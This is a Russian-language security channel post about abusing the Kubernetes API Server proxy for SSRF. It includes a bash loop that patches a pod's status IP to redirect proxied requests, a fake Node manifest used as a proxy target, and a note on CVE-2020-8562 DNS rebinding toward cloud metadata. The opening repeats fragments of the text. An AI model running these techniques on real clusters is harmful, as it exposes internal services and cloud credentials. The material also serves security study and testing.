Канал о (не)безопасности Kubernetes + микросервисных, контейнеризированных приложений.
Ведет команда www.luntry.ru
#ZST99
Вопросы, идеи, предложения => @Qu3b3c
https://knd.gov.ru/license?id=673ddbc21039886b1d03b7ce®istryType=bloggersPermission
Post #1422
5.86K

Сегодняшним постом продолжаем тематику наступательной безопасности в
Наверняка вы знаете, что
Очевидно, что
Бага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать
Если у вас есть возможность создавать
Эксплуатация уязвимости типа
Про эти и другие способы использования
Kubernetes, а именно – рассмотрим механизм Proxy в Kubernetes API Server. Наверняка вы знаете, что
Kubernetes API Server может выступать в качестве HTTP-прокси сервера, позволяя пользователям с соответствующими правами (create nodes/proxy, pods/proxy) получить доступ к Nodes или Pods.Очевидно, что
kubectl proxy позволяет по сути экспулатировать SSRF, поэтому рассмотрим несколько интересных способов использования этой функциональности:1) Проксирование на адреса вне кластераБага 2019 года (упоминали про неё на канале тут), но она всё еще работает. Всё что нужно – это перезаписать
IP адрес в поле status в манифесте Pod, а затем проксировать запросы на этот адрес. Однако, это может вызвать некоторые сложности, т.к Kubernetes распознает это изменение как ошибку и изменяет значение на действительный IP-адрес, поэтому вам придется зацикливать запросы, чтобы сохранить его установленным на нужное вам значение:
#!/bin/bash
set -euo pipefail
readonly PORT=8001
readonly POD=echoserver
readonly TARGETIP=1.1.1.1
while true; do
curl -v -H 'Content-Type: application/json' \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status" >"${POD}-orig.json"
cat $POD-orig.json |
sed 's/"podIP": ".*",/"podIP": "'${TARGETIP}'",/g' \
>"${POD}-patched.json"
curl -v -H 'Content-Type:application/merge-patch+json' \
-X PATCH -d "@${POD}-patched.json" \
"http://localhost:${PORT}/api/v1/namespaces/default/pods/${POD}/status"
rm -f "${POD}-orig.json" "${POD}-patched.json"
done
2) SSRF через Fake NodeЕсли у вас есть возможность создавать
Nodes, то в манифесте достаточно указать желаемый адрес, для того чтобы проксировать туда запросы:
kind: Node
apiVersion: v1
metadata:
name: fakegoogle
status:
addresses:
- address: www.google.com
type: Hostname
curl http://127.0.0.1:8001/api/v1/nodes/http:fakegoogle:80/proxy/
3) CVE-2020-8562 – Обход blacklistЭксплуатация уязвимости типа
TOCTOU, на данный момент не имеющей патча, будет особенно интересна, если вы находитесь в окружении облачного провайдера без возможности делать запросы на 169.254.169.254. Прибегнув к известной технике для эксплуатации SSRF – DNS rebinding можно обойти это ограничение, для этого, например, можно воспользоваться сервисом rebinder.Про эти и другие способы использования
kubectl proxy рассказал Rory McCune в своей статье "Exploring the Kubernetes API Server Proxy".- 👍 16
- ❤ 5
- 🔥 3
- 🥰 2












